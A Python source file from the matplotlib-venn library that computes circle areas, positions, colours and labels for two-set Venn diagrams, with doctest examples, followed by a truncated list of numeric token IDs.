matplotlib_venn/_venn2.py | TRuikes/matplotlib-venn | 306 | 32134 | <gh_stars>100-1000
'''
Venn diagram plotting routines.
Two-circle venn plotter.
Copyright 2012, <NAME>.
http://kt.era.ee/
Licensed under MIT license.
'''
# Make sure we don't try to do GUI stuff when running tests
import sys, os
if 'py.test' in os.path.basename(sys.argv[0]): # (XXX: Ugly hack)
import matplotlib
matplotlib.use('Agg')
import numpy as np
import warnings
from collections import Counter
from matplotlib.patches import Circle
from matplotlib.colors import ColorConverter
from matplotlib.pyplot import gca
from matplotlib_venn._math import *
from matplotlib_venn._common import *
from matplotlib_venn._region import VennCircleRegion
def compute_venn2_areas(diagram_areas, normalize_to=1.0):
'''
The list of venn areas is given as 3 values, corresponding to venn diagram areas in the following order:
(Ab, aB, AB) (i.e. last element corresponds to the size of intersection A&B&C).
The return value is a list of areas (A, B, AB), such that the total area is normalized
to normalize_to. If total area was 0, returns (1e-06, 1e-06, 0.0)
Assumes all input values are nonnegative (to be more precise, all areas are passed through and abs() function)
>>> compute_venn2_areas((1, 1, 0))
(0.5, 0.5, 0.0)
>>> compute_venn2_areas((0, 0, 0))
(1e-06, 1e-06, 0.0)
>>> compute_venn2_areas((1, 1, 1), normalize_to=3)
(2.0, 2.0, 1.0)
>>> compute_venn2_areas((1, 2, 3), normalize_to=6)
(4.0, 5.0, 3.0)
'''
# Normalize input values to sum to 1
areas = np.array(np.abs(diagram_areas), float)
total_area = np.sum(areas)
if np.abs(total_area) < tol:
warnings.warn("Both circles have zero area")
return (1e-06, 1e-06, 0.0)
else:
areas = areas / total_area * normalize_to
return (areas[0] + areas[2], areas[1] + areas[2], areas[2])
def solve_venn2_circles(venn_areas):
'''
Given the list of "venn areas" (as output from compute_venn2_areas, i.e. [A, B, AB]),
finds the positions and radii of the two circles.
The return value is a tuple (coords, radii), where coords is a 2x2 array of coordinates and
radii is a 2x1 array of circle radii.
Assumes the input values to be nonnegative and not all zero.
In particular, the first two values must be positive.
>>> c, r = solve_venn2_circles((1, 1, 0))
>>> np.round(r, 3).tolist()
[0.564, 0.564]
>>> c, r = solve_venn2_circles(compute_venn2_areas((1, 2, 3)))
>>> np.round(r, 3).tolist()
[0.461, 0.515]
'''
(A_a, A_b, A_ab) = list(map(float, venn_areas))
r_a, r_b = np.sqrt(A_a / np.pi), np.sqrt(A_b / np.pi)
radii = np.array([r_a, r_b])
if A_ab > tol:
# Nonzero intersection
coords = np.zeros((2, 2))
coords[1][0] = find_distance_by_area(radii[0], radii[1], A_ab)
else:
# Zero intersection
coords = np.zeros((2, 2))
coords[1][0] = radii[0] + radii[1] + max(np.mean(radii) * 1.1, 0.2) # The max here is needed for the case r_a = r_b = 0
coords = normalize_by_center_of_mass(coords, radii)
return (coords, radii)
def compute_venn2_regions(centers, radii):
'''
Returns a triple of VennRegion objects, describing the three regions of the diagram, corresponding to sets
(Ab, aB, AB)
>>> centers, radii = solve_venn2_circles((1, 1, 0.5))
>>> regions = compute_venn2_regions(centers, radii)
'''
A = VennCircleRegion(centers[0], radii[0])
B = VennCircleRegion(centers[1], radii[1])
Ab, AB = A.subtract_and_intersect_circle(B.center, B.radius)
aB, _ = B.subtract_and_intersect_circle(A.center, A.radius)
return (Ab, aB, AB)
def compute_venn2_colors(set_colors):
'''
Given two base colors, computes combinations of colors corresponding to all regions of the venn diagram.
returns a list of 3 elements, providing colors for regions (10, 01, 11).
>>> str(compute_venn2_colors(('r', 'g'))).replace(' ', '')
'(array([1.,0.,0.]),array([0.,0.5,0.]),array([0.7,0.35,0.]))'
'''
ccv = ColorConverter()
base_colors = [np.array(ccv.to_rgb(c)) for c in set_colors]
return (base_colors[0], base_colors[1], mix_colors(base_colors[0], base_colors[1]))
def compute_venn2_subsets(a, b):
'''
Given two set or Counter objects, computes the sizes of (a & ~b, b & ~a, a & b).
Returns the result as a tuple.
>>> compute_venn2_subsets(set([1,2,3,4]), set([2,3,4,5,6]))
(1, 2, 3)
>>> compute_venn2_subsets(Counter([1,2,3,4]), Counter([2,3,4,5,6]))
(1, 2, 3)
>>> compute_venn2_subsets(Counter([]), Counter([]))
(0, 0, 0)
>>> compute_venn2_subsets(set([]), set([]))
(0, 0, 0)
>>> compute_venn2_subsets(set([1]), set([]))
(1, 0, 0)
>>> compute_venn2_subsets(set([1]), set([1]))
(0, 0, 1)
>>> compute_venn2_subsets(Counter([1]), Counter([1]))
(0, 0, 1)
>>> compute_venn2_subsets(set([1,2]), set([1]))
(1, 0, 1)
>>> compute_venn2_subsets(Counter([1,1,2,2,2]), Counter([1,2,3,3]))
(3, 2, 2)
>>> compute_venn2_subsets(Counter([1,1,2]), Counter([1,2,2]))
(1, 1, 2)
>>> compute_venn2_subsets(Counter([1,1]), set([]))
Traceback (most recent call last):
...
ValueError: Both arguments must be of the same type
'''
if not (type(a) == type(b)):
raise ValueError("Both arguments must be of the same type")
set_size = len if type(a) != Counter else lambda x: sum(x.values()) # We cannot use len to compute the cardinality of a Counter
return (set_size(a - b), set_size(b - a), set_size(a & b))
def venn2_circles(subsets, normalize_to=1.0, alpha=1.0, color='black', linestyle='solid', linewidth=2.0, ax=None, **kwargs):
'''
Plots only the two circles for the corresponding Venn diagram.
Useful for debugging or enhancing the basic venn diagram.
parameters ``subsets``, ``normalize_to`` and ``ax`` are the same as in venn2()
``kwargs`` are passed as-is to matplotlib.patches.Circle.
returns a list of three Circle patches.
>>> c = venn2_circles((1, 2, 3))
>>> c = venn2_circles({'10': 1, '01': 2, '11': 3}) # Same effect
>>> c = venn2_circles([set([1,2,3,4]), set([2,3,4,5,6])]) # Also same effect
'''
if isinstance(subsets, dict):
subsets = [subsets.get(t, 0) for t in ['10', '01', '11']]
elif len(subsets) == 2:
subsets = compute_venn2_subsets(*subsets)
areas = compute_venn2_areas(subsets, normalize_to)
centers, radii = solve_venn2_circles(areas)
if ax is None:
ax = gca()
prepare_venn_axes(ax, centers, radii)
result = []
for (c, r) in zip(centers, radii):
circle = Circle(c, r, alpha=alpha, edgecolor=color, facecolor='none', linestyle=linestyle, linewidth=linewidth, **kwargs)
ax.add_patch(circle)
result.append(circle)
return result
def venn2(subsets, set_labels=('A', 'B'), set_colors=('r', 'g'), alpha=0.4, normalize_to=1.0, ax=None, subset_label_formatter=None):
'''Plots a 2-set area-weighted Venn diagram.
The subsets parameter can be one of the following:
- A list (or a tuple) containing two set objects.
- A dict, providing sizes of three diagram regions.
The regions are identified via two-letter binary codes ('10', '01', and '11'), hence a valid set could look like:
{'10': 10, '01': 20, '11': 40}. Unmentioned codes are considered to map to 0.
- A list (or a tuple) with three numbers, denoting the sizes of the regions in the following order:
(10, 01, 11)
``set_labels`` parameter is a list of two strings - set labels. Set it to None to disable set labels.
The ``set_colors`` parameter should be a list of two elements, specifying the "base colors" of the two circles.
The color of circle intersection will be computed based on those.
The ``normalize_to`` parameter specifies the total (on-axes) area of the circles to be drawn. Sometimes tuning it (together
with the overall fiture size) may be useful to fit the text labels better.
The return value is a ``VennDiagram`` object, that keeps references to the ``Text`` and ``Patch`` objects used on the plot
and lets you know the centers and radii of the circles, if you need it.
The ``ax`` parameter specifies the axes on which the plot will be drawn (None means current axes).
The ``subset_label_formatter`` parameter is a function that can be passed to format the labels
that describe the size of each subset.
>>> from matplotlib_venn import *
>>> v = venn2(subsets={'10': 1, '01': 1, '11': 1}, set_labels = ('A', 'B'))
>>> c = venn2_circles(subsets=(1, 1, 1), linestyle='dashed')
>>> v.get_patch_by_id('10').set_alpha(1.0)
>>> v.get_patch_by_id('10').set_color('white')
>>> v.get_label_by_id('10').set_text('Unknown')
>>> v.get_label_by_id('A').set_text('Set A')
You can provide sets themselves rather than subset sizes:
>>> v = venn2(subsets=[set([1,2]), set([2,3,4,5])], set_labels = ('A', 'B'))
>>> c = venn2_circles(subsets=[set([1,2]), set([2,3,4,5])], linestyle='dashed')
>>> print("%0.2f" % (v.get_circle_radius(1)/v.get_circle_radius(0)))
1.41
'''
if isinstance(subsets, dict):
subsets = [subsets.get(t, 0) for t in ['10', '01', '11']]
elif len(subsets) == 2:
subsets = compute_venn2_subsets(*subsets)
if subset_label_formatter is None:
subset_label_formatter = str
areas = compute_venn2_areas(subsets, normalize_to)
centers, radii = solve_venn2_circles(areas)
regions = compute_venn2_regions(centers, radii)
colors = compute_venn2_colors(set_colors)
if ax is None:
ax = gca()
prepare_venn_axes(ax, centers, radii)
# Create and add patches and subset labels
patches = [r.make_patch() for r in regions]
for (p, c) in zip(patches, colors):
if p is not None:
p.set_facecolor(c)
p.set_edgecolor('none')
p.set_alpha(alpha)
ax.add_patch(p)
label_positions = [r.label_position() for r in regions]
subset_labels = [ax.text(lbl[0], lbl[1], subset_label_formatter(s), va='center', ha='center') if lbl is not None else None for (lbl, s) in zip(label_positions, subsets)]
# Position set labels
if set_labels is not None:
padding = np.mean([r * 0.1 for r in radii])
label_positions = [centers[0] + np.array([0.0, - radii[0] - padding]),
centers[1] + np.array([0.0, - radii[1] - padding])]
labels = [ax.text(pos[0], pos[1], txt, size='large', ha='right', va='top') for (pos, txt) in zip(label_positions, set_labels)]
labels[1].set_ha('left')
else:
labels = None
return VennDiagram(patches, subset_labels, labels, centers, radii)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29900,
29900,
29899,
29896,
29900,
29900,
29900,
13,
12008,
13,
29963,
2108,
13722,
6492,
1259,
6745,
1475,
29889,
13,
13985,
29899,
16622,
325,
2108,
6492,
357,
29889,
13,
13,
11882,
1266,
29871,
29906,
29900,
29896,
29906,
29892,
529,
5813,
15513,
13,
1124,
597,
1193,
29889,
1572,
29889,
3905,
29914,
13,
13,
29931,
293,
21144,
1090,
341,
1806,
19405,
29889,
13,
12008,
13,
29937,
8561,
1854,
591,
1016,
29915,
29873,
1018,
304,
437,
14839,
6433,
746,
2734,
6987,
13,
5215,
10876,
29892,
2897,
13,
361,
525,
2272,
29889,
1688,
29915,
297,
2897,
29889,
2084,
29889,
6500,
3871,
29898,
9675,
29889,
19218,
29961,
29900,
29962,
1125,
396,
313,
22791,
29901,
501,
16808,
15833,
29897,
13,
1678,
1053,
22889,
13,
1678,
22889,
29889,
1509,
877,
29909,
1505,
1495,
13,
13,
5215,
12655,
408,
7442,
13,
5215,
18116,
13,
3166,
16250,
1053,
315,
5336,
13,
13,
3166,
22889,
29889,
5041,
267,
1053,
27927,
13,
3166,
22889,
29889,
27703,
1053,
9159,
18545,
13,
3166,
22889,
29889,
2272,
5317,
1053,
330,
1113,
13,
13,
3166,
22889,
29918,
854,
29876,
3032,
755,
1053,
334,
13,
3166,
22889,
29918,
854,
29876,
3032,
9435,
1053,
334,
13,
3166,
22889,
29918,
854,
29876,
3032,
12803,
1053,
478,
2108,
23495,
280,
18457,
13,
13,
13,
1753,
10272,
29918,
854,
29876,
29906,
29918,
598,
294,
29898,
6051,
14442,
29918,
598,
294,
29892,
4226,
675,
29918,
517,
29922,
29896,
29889,
29900,
1125,
13,
1678,
14550,
13,
1678,
450,
1051,
310,
325,
2108,
10161,
338,
2183,
408,
29871,
29941,
1819,
29892,
6590,
304,
325,
2108,
13722,
10161,
297,
278,
1494,
1797,
29901,
13,
268,
313,
4920,
29892,
263,
29933,
29892,
17571,
29897,
29871,
313,
29875,
29889,
29872,
29889,
1833,
1543,
16161,
304,
278,
2159,
310,
17686,
319,
29987,
29933,
29987,
29907,
467,
13,
1678,
450,
736,
995,
338,
263,
1051,
310,
10161,
313,
29909,
29892,
350,
29892,
17571,
511,
1316,
393,
278,
3001,
4038,
338,
4226,
1891,
13,
1678,
304,
4226,
675,
29918,
517,
29889,
960,
3001,
4038,
471,
29871,
29900,
29892,
3639,
313,
29896,
29872,
29899,
29900,
29953,
29892,
29871,
29896,
29872,
29899,
29900,
29953,
29892,
29871,
29900,
29889,
29900,
29897,
13,
13,
1678,
4007,
9351,
599,
1881,
1819,
526,
1661,
22198,
313,
517,
367,
901,
18378,
29892,
599,
10161,
526,
4502,
1549,
322,
6425,
580,
740,
29897,
13,
1678,
8653,
10272,
29918,
854,
29876,
29906,
29918,
598,
294,
3552,
29896,
29892,
29871,
29896,
29892,
29871,
29900,
876,
13,
1678,
313,
29900,
29889,
29945,
29892,
29871,
29900,
29889,
29945,
29892,
29871,
29900,
29889,
29900,
29897,
13,
1678,
8653,
10272,
29918,
854,
29876,
29906,
29918,
598,
294,
3552,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
876,
13,
1678,
313,
29896,
29872,
29899,
29900,
29953,
29892,
29871,
29896,
29872,
29899,
29900,
29953,
29892,
29871,
29900,
29889,
29900,
29897,
13,
1678,
8653,
10272,
29918,
854,
29876,
29906,
29918,
598,
294,
3552,
29896,
29892,
29871,
29896,
29892,
29871,
29896,
511,
4226,
675,
29918,
517,
29922,
29941,
29897,
13,
1678,
313,
29906,
29889,
29900,
29892,
29871,
29906,
29889,
29900,
29892,
29871,
29896,
29889,
29900,
29897,
13,
1678,
8653,
10272,
29918,
854,
29876,
29906,
29918,
598,
294,
3552,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
511,
4226,
675,
29918,
517,
29922,
29953,
29897,
13,
1678,
313,
29946,
29889,
29900,
29892,
29871,
29945,
29889,
29900,
29892,
29871,
29941,
29889,
29900,
29897,
13,
1678,
14550,
13,
1678,
396,
21981,
675,
1881,
1819,
304,
2533,
304,
29871,
29896,
13,
1678,
10161,
353,
7442,
29889,
2378,
29898,
9302,
29889,
6897,
29898,
6051,
14442,
29918,
598,
294,
511,
5785,
29897,
13,
1678,
3001,
29918,
6203,
353,
7442,
29889,
2083,
29898,
598,
294,
29897,
13,
1678,
565,
7442,
29889,
6897,
29898,
7827,
29918,
6203,
29897,
529,
304,
29880,
29901,
13,
4706,
18116,
29889,
25442,
703,
29933,
720,
22558,
505,
5225,
4038,
1159,
13,
4706,
736,
313,
29896,
29872,
29899,
29900,
29953,
29892,
29871,
29896,
29872,
29899,
29900,
29953,
29892,
29871,
29900,
29889,
29900,
29897,
13,
1678,
1683,
29901,
13,
4706,
10161,
353,
10161,
847,
3001,
29918,
6203,
334,
4226,
675,
29918,
517,
13,
4706,
736,
313,
598,
294,
29961,
29900,
29962,
718,
10161,
29961,
29906,
1402,
10161,
29961,
29896,
29962,
718,
10161,
29961,
29906,
1402,
10161,
29961,
29906,
2314,
13,
13,
13,
1753,
4505,
29918,
854,
29876,
29906,
29918,
19052,
7799,
29898,
854,
29876,
29918,
598,
294,
1125,
13,
1678,
14550,
13,
1678,
11221,
278,
1051,
310,
376,
854,
29876,
10161,
29908,
313,
294,
1962,
515,
10272,
29918,
854,
29876,
29906,
29918,
598,
294,
29892,
474,
29889,
29872,
29889,
518,
29909,
29892,
350,
29892,
17571,
11724,
13,
1678,
14061,
278,
11909,
322,
2971,
2236,
310,
278,
1023,
22558,
29889,
13,
1678,
450,
736,
995,
338,
263,
18761,
313,
1111,
4339,
29892,
2971,
2236,
511,
988,
1302,
4339,
338,
263,
29871,
29906,
29916,
29906,
1409,
310,
10350,
322,
13,
1678,
2971,
2236,
338,
263,
29871,
29906,
29916,
29896,
1409,
310,
8607,
2971,
2236,
29889,
13,
13,
1678,
4007,
9351,
278,
1881,
1819,
304,
367,
1661,
22198,
322,
451,
599,
5225,
29889,
13,
1678,
512,
3153,
29892,
278,
937,
1023,
1819,
1818,
367,
6374,
29889,
13,
13,
1678,
8653,
274,
29892,
364,
353,
4505,
29918,
854,
29876,
29906,
29918,
19052,
7799,
3552,
29896,
29892,
29871,
29896,
29892,
29871,
29900,
876,
13,
1678,
8653,
7442,
29889,
14486,
29898,
29878,
29892,
29871,
29941,
467,
25027,
391,
580,
13,
1678,
518,
29900,
29889,
29945,
29953,
29946,
29892,
29871,
29900,
29889,
29945,
29953,
29946,
29962,
13,
1678,
8653,
274,
29892,
364,
353,
4505,
29918,
854,
29876,
29906,
29918,
19052,
7799,
29898,
26017,
29918,
854,
29876,
29906,
29918,
598,
294,
3552,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
4961,
13,
1678,
8653,
7442,
29889,
14486,
29898,
29878,
29892,
29871,
29941,
467,
25027,
391,
580,
13,
1678,
518,
29900,
29889,
29946,
29953,
29896,
29892,
29871,
29900,
29889,
29945,
29896,
29945,
29962,
13,
1678,
14550,
13,
1678,
313,
29909,
29918,
29874,
29892,
319,
29918,
29890,
29892,
319,
29918,
370,
29897,
353,
1051,
29898,
1958,
29898,
7411,
29892,
325,
2108,
29918,
598,
294,
876,
13,
1678,
364,
29918,
29874,
29892,
364,
29918,
29890,
353,
7442,
29889,
3676,
29898,
29909,
29918,
29874,
847,
7442,
29889,
1631,
511,
7442,
29889,
3676,
29898,
29909,
29918,
29890,
847,
7442,
29889,
1631,
29897,
13,
1678,
2971,
2236,
353,
7442,
29889,
2378,
4197,
29878,
29918,
29874,
29892,
364,
29918,
29890,
2314,
13,
1678,
565,
319,
29918,
370,
1405,
304,
29880,
29901,
13,
4706,
396,
10050,
9171,
17686,
13,
4706,
1302,
4339,
353,
7442,
29889,
3298,
359,
3552,
29906,
29892,
29871,
29906,
876,
13,
4706,
1302,
4339,
29961,
29896,
3816,
29900,
29962,
353,
1284,
29918,
19244,
29918,
1609,
29918,
6203,
29898,
3665,
2236,
29961,
29900,
1402,
2971,
2236,
29961,
29896,
1402,
319,
29918,
370,
29897,
13,
1678,
1683,
29901,
13,
4706,
396,
28933,
17686,
13,
4706,
1302,
4339,
353,
7442,
29889,
3298,
359,
3552,
29906,
29892,
29871,
29906,
876,
13,
4706,
1302,
4339,
29961,
29896,
3816,
29900,
29962,
353,
2971,
2236,
29961,
29900,
29962,
718,
2971,
2236,
29961,
29896,
29962,
718,
4236,
29898,
9302,
29889,
12676,
29898,
3665,
2236,
29897,
334,
29871,
29896,
29889,
29896,
29892,
29871,
29900,
29889,
29906,
29897,
259,
396,
450,
4236,
1244,
338,
4312,
363,
278,
1206,
364,
29918,
29874,
353,
364,
29918,
29890,
353,
29871,
29900,
13,
1678,
1302,
4339,
353,
4226,
675,
29918,
1609,
29918,
5064,
29918,
974,
29918,
25379,
29898,
1111,
4339,
29892,
2971,
2236,
29897,
13,
1678,
736,
313,
1111,
4339,
29892,
2971,
2236,
29897,
13,
13,
13,
1753,
10272,
29918,
854,
29876,
29906,
29918,
1727,
1080,
29898,
1760,
414,
29892,
2971,
2236,
1125,
13,
1678,
14550,
13,
1678,
16969,
263,
21954,
310,
478,
2108,
18457,
3618,
29892,
20766,
278,
2211,
12786,
310,
278,
13722,
29892,
6590,
304,
6166,
13,
1678,
313,
4920,
29892,
263,
29933,
29892,
17571,
29897,
13,
13,
1678,
8653,
1644,
414,
29892,
2971,
2236,
353,
4505,
29918,
854,
29876,
29906,
29918,
19052,
7799,
3552,
29896,
29892,
29871,
29896,
29892,
29871,
29900,
29889,
29945,
876,
13,
1678,
8653,
12786,
353,
10272,
29918,
854,
29876,
29906,
29918,
1727,
1080,
29898,
1760,
414,
29892,
2971,
2236,
29897,
13,
1678,
14550,
13,
1678,
319,
353,
478,
2108,
23495,
280,
18457,
29898,
1760,
414,
29961,
29900,
1402,
2971,
2236,
29961,
29900,
2314,
13,
1678,
350,
353,
478,
2108,
23495,
280,
18457,
29898,
1760,
414,
29961,
29896,
1402,
2971,
2236,
29961,
29896,
2314,
13,
1678,
1976,
29892,
17571,
353,
319,
29889,
1491,
29873,
1461,
29918,
392,
29918,
1639,
8803,
29918,
16622,
29898,
29933,
29889,
5064,
29892,
350,
29889,
13471,
29897,
13,
1678,
263,
29933,
29892,
903,
353,
350,
29889,
1491,
29873,
1461,
29918,
392,
29918,
1639,
8803,
29918,
16622,
29898,
29909,
29889,
5064,
29892,
319,
29889,
13471,
29897,
13,
1678,
736,
313,
4920,
29892,
263,
29933,
29892,
17571,
29897,
13,
13,
13,
1753,
10272,
29918,
854,
29876,
29906,
29918,
27703,
29898,
842,
29918,
27703,
1125,
13,
1678,
14550,
13,
1678,
11221,
1023,
2967,
11955,
29892,
2912,
267,
18240,
310,
11955,
6590,
304,
599,
12786,
310,
278,
325,
2108,
13722,
29889,
13,
1678,
3639,
263,
1051,
310,
29871,
29941,
3161,
29892,
13138,
11955,
363,
12786,
313,
29896,
29900,
29892,
29871,
29900,
29896,
29892,
29871,
29896,
29896,
467,
13,
13,
1678,
8653,
851,
29898,
26017,
29918,
854,
29876,
29906,
29918,
27703,
29898,
877,
29878,
742,
525,
29887,
8785,
467,
6506,
877,
13420,
27255,
13,
1678,
525,
29898,
2378,
4197,
29896,
1696,
29900,
1696,
29900,
5586,
511,
2378,
4197,
29900,
1696,
29900,
29889,
29945,
29892,
29900,
5586,
511,
2378,
4197,
29900,
29889,
29955,
29892,
29900,
29889,
29941,
29945,
29892,
29900,
5586,
876,
29915,
13,
1678,
14550,
13,
1678,
274,
11023,
353,
9159,
18545,
580,
13,
1678,
2967,
29918,
27703,
353,
518,
9302,
29889,
2378,
29898,
617,
29894,
29889,
517,
29918,
23973,
29898,
29883,
876,
363,
274,
297,
731,
29918,
27703,
29962,
13,
1678,
736,
313,
3188,
29918,
27703,
29961,
29900,
1402,
2967,
29918,
27703,
29961,
29896,
1402,
6837,
29918,
27703,
29898,
3188,
29918,
27703,
29961,
29900,
1402,
2967,
29918,
27703,
29961,
29896,
12622,
13,
13,
13,
1753,
10272,
29918,
854,
29876,
29906,
29918,
6484,
29879,
29898,
29874,
29892,
289,
1125,
13,
1678,
14550,
13,
1678,
11221,
1023,
731,
470,
315,
5336,
3618,
29892,
2912,
267,
278,
15786,
310,
313,
29874,
669,
3695,
29890,
29892,
289,
669,
3695,
29874,
29892,
263,
669,
289,
467,
13,
1678,
16969,
278,
1121,
408,
263,
18761,
29889,
13,
13,
1678,
8653,
10272,
29918,
854,
29876,
29906,
29918,
6484,
29879,
29898,
842,
4197,
29896,
29892,
29906,
29892,
29941,
29892,
29946,
11724,
731,
4197,
29906,
29892,
29941,
29892,
29946,
29892,
29945,
29892,
29953,
12622,
13,
1678,
313,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29897,
13,
1678,
8653,
10272,
29918,
854,
29876,
29906,
29918,
6484,
29879,
29898,
17779,
4197,
29896,
29892,
29906,
29892,
29941,
29892,
29946,
11724,
315,
5336,
4197,
29906,
29892,
29941,
29892,
29946,
29892,
29945,
29892,
29953,
12622,
13,
1678,
313,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29897,
13,
1678,
8653,
10272,
29918,
854,
29876,
29906,
29918,
6484,
29879,
29898,
17779,
29898,
2636,
511,
315,
5336,
29898,
2636,
876,
13,
1678,
313,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29897,
13,
1678,
8653,
10272,
29918,
854,
29876,
29906,
29918,
6484,
29879,
29898,
842,
29898,
2636,
511,
731,
29898,
2636,
876,
13,
1678,
313,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29897,
13,
1678,
8653,
10272,
29918,
854,
29876,
29906,
29918,
6484,
29879,
29898,
842,
4197,
29896,
11724,
731,
29898,
2636,
876,
13,
1678,
313,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29897,
13,
1678,
8653,
10272,
29918,
854,
29876,
29906,
29918,
6484,
29879,
29898,
842,
4197,
29896,
11724,
731,
4197,
29896,
12622,
13,
1678,
313,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29897,
13,
1678,
8653,
10272,
29918,
854,
29876,
29906,
29918,
6484,
29879,
29898,
17779,
4197,
29896,
11724,
315,
5336,
4197,
29896,
12622,
13,
1678,
313,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29897,
13,
1678,
8653,
10272,
29918,
854,
29876,
29906,
29918,
6484,
29879,
29898,
842,
4197,
29896,
29892,
29906,
11724,
731,
4197,
29896,
12622,
13,
1678,
313,
29896,
29892,
29871,
29900,
29892,
29871,
29896,
29897,
13,
1678,
8653,
10272,
29918,
854,
29876,
29906,
29918,
6484,
29879,
29898,
17779,
4197,
29896,
29892,
29896,
29892,
29906,
29892,
29906,
29892,
29906,
11724,
315,
5336,
4197,
29896,
29892,
29906,
29892,
29941,
29892,
29941,
12622,
13,
1678,
313,
29941,
29892,
29871,
29906,
29892,
29871,
29906,
29897,
13,
1678,
8653,
10272,
29918,
854,
29876,
29906,
29918,
6484,
29879,
29898,
17779,
4197,
29896,
29892,
29896,
29892,
29906,
11724,
315,
5336,
4197,
29896,
29892,
29906,
29892,
29906,
12622,
13,
1678,
313,
29896,
29892,
29871,
29896,
29892,
29871,
29906,
29897,
13,
1678,
8653,
10272,
29918,
854,
29876,
29906,
29918,
6484,
29879,
29898,
17779,
4197,
29896,
29892,
29896,
11724,
731,
29898,
2636,
876,
13,
1678,
29243,
313,
3242,
7786,
1246,
1833,
1125,
13,
1678,
2023,
13,
1678,
7865,
2392,
29901,
9134,
6273,
1818,
367,
310,
278,
1021,
1134,
13,
1678,
14550,
13,
1678,
565,
451,
313,
1853,
29898,
29874,
29897,
1275,
1134,
29898,
29890,
22164,
13,
4706,
12020,
7865,
2392,
703,
29933,
720,
6273,
1818,
367,
310,
278,
1021,
1134,
1159,
13,
1678,
731,
29918,
2311,
353,
7431,
565,
1134,
29898,
29874,
29897,
2804,
315,
5336,
1683,
14013,
921,
29901,
2533,
29898,
29916,
29889,
5975,
3101,
259,
396,
1334,
2609,
671,
7431,
304,
10272,
278,
21008,
537,
310,
263,
315,
5336,
13,
1678,
736,
313,
842,
29918,
2311,
29898,
29874,
448,
289,
511,
731,
29918,
2311,
29898,
29890,
448,
263,
511,
731,
29918,
2311,
29898,
29874,
669,
289,
876,
13,
13,
13,
1753,
325,
2108,
29906,
29918,
19052,
7799,
29898,
6484,
29879,
29892,
4226,
675,
29918,
517,
29922,
29896,
29889,
29900,
29892,
15595,
29922,
29896,
29889,
29900,
29892,
2927,
2433,
8517,
742,
6276,
342,
1508,
2433,
2929,
333,
742,
1196,
2103,
29922,
29906,
29889,
29900,
29892,
4853,
29922,
8516,
29892,
3579,
19290,
1125,
13,
1678,
14550,
13,
1678,
1858,
1862,
871,
278,
1023,
22558,
363,
278,
6590,
478,
2108,
13722,
29889,
13,
1678,
4803,
1319,
363,
13490,
470,
427,
5403,
3277,
278,
6996,
325,
2108,
13722,
29889,
13,
1678,
4128,
4954,
6484,
29879,
29952,
1673,
4954,
8945,
675,
29918,
517,
16159,
322,
4954,
1165,
16159,
526,
278,
1021,
408,
297,
325,
2108,
29906,
580,
13,
1678,
4954,
19290,
16159,
526,
4502,
408,
29899,
275,
304,
22889,
29889,
5041,
267,
29889,
23495,
280,
29889,
13,
1678,
3639,
263,
1051,
310,
2211,
27927,
13261,
267,
29889,
13,
13,
1678,
8653,
274,
353,
325,
2108,
29906,
29918,
19052,
7799,
3552,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
876,
13,
1678,
8653,
274,
353,
325,
2108,
29906,
29918,
19052,
7799,
3319,
29915,
29896,
29900,
2396,
29871,
29896,
29892,
525,
29900,
29896,
2396,
29871,
29906,
29892,
525,
29896,
29896,
2396,
29871,
29941,
1800,
396,
19491,
2779,
13,
1678,
8653,
274,
353,
325,
2108,
29906,
29918,
19052,
7799,
4197,
842,
4197,
29896,
29892,
29906,
29892,
29941,
29892,
29946,
11724,
731,
4197,
29906,
29892,
29941,
29892,
29946,
29892,
29945,
29892,
29953,
2314,
2314,
396,
3115,
1021,
2779,
13,
1678,
14550,
13,
1678,
565,
338,
8758,
29898,
6484,
29879,
29892,
9657,
1125,
13,
4706,
27639,
353,
518,
6484,
29879,
29889,
657,
29898,
29873,
29892,
29871,
29900,
29897,
363,
260,
297,
6024,
29896,
29900,
742,
525,
29900,
29896,
742,
525,
29896,
29896,
2033,
29962,
13,
1678,
25342,
7431,
29898,
6484,
29879,
29897,
1275,
29871,
29906,
29901,
13,
4706,
27639,
353,
10272,
29918,
854,
29876,
29906,
29918,
6484,
29879,
10456,
6484,
29879,
29897,
13,
1678,
10161,
353,
10272,
29918,
854,
29876,
29906,
29918,
598,
294,
29898,
6484,
29879,
29892,
4226,
675,
29918,
517,
29897,
13,
1678,
1644,
414,
29892,
2971,
2236,
353,
4505,
29918,
854,
29876,
29906,
29918,
19052,
7799,
29898,
598,
294,
29897,
13,
13,
1678,
565,
4853,
338,
6213,
29901,
13,
4706,
4853,
353,
330,
1113,
580,
13,
1678,
19012,
29918,
854,
29876,
29918,
1165,
267,
29898,
1165,
29892,
1644,
414,
29892,
2971,
2236,
29897,
13,
1678,
1121,
353,
5159,
13,
1678,
363,
313,
29883,
29892,
364,
29897,
297,
14319,
29898,
1760,
414,
29892,
2971,
2236,
1125,
13,
4706,
8607,
353,
27927,
29898,
29883,
29892,
364,
29892,
15595,
29922,
2312,
29892,
7636,
2780,
29922,
2780,
29892,
3700,
2780,
2433,
9290,
742,
6276,
342,
1508,
29922,
1915,
342,
1508,
29892,
1196,
2103,
29922,
16292,
29892,
3579,
19290,
29897,
13,
4706,
4853,
29889,
1202,
29918,
5041,
29898,
16622,
29897,
13,
4706,
1121,
29889,
4397,
29898,
16622,
29897,
13,
1678,
736,
1121,
13,
13,
13,
1753,
325,
2108,
29906,
29898,
6484,
29879,
29892,
731,
29918,
21134,
29922,
877,
29909,
742,
525,
29933,
5477,
731,
29918,
27703,
29922,
877,
29878,
742,
525,
29887,
5477,
15595,
29922,
29900,
29889,
29946,
29892,
4226,
675,
29918,
517,
29922,
29896,
29889,
29900,
29892,
4853,
29922,
8516,
29892,
11306,
29918,
1643,
29918,
689,
2620,
29922,
8516,
1125,
13,
1678,
14550,
3247,
1862,
263,
29871,
29906,
29899,
842,
4038,
29899,
7915,
287,
478,
2108,
13722,
29889,
13,
1678,
450,
27639,
3443,
508,
367,
697,
310,
278,
1494,
29901,
13,
268,
448,
319,
1051,
313,
272,
263,
18761,
29897,
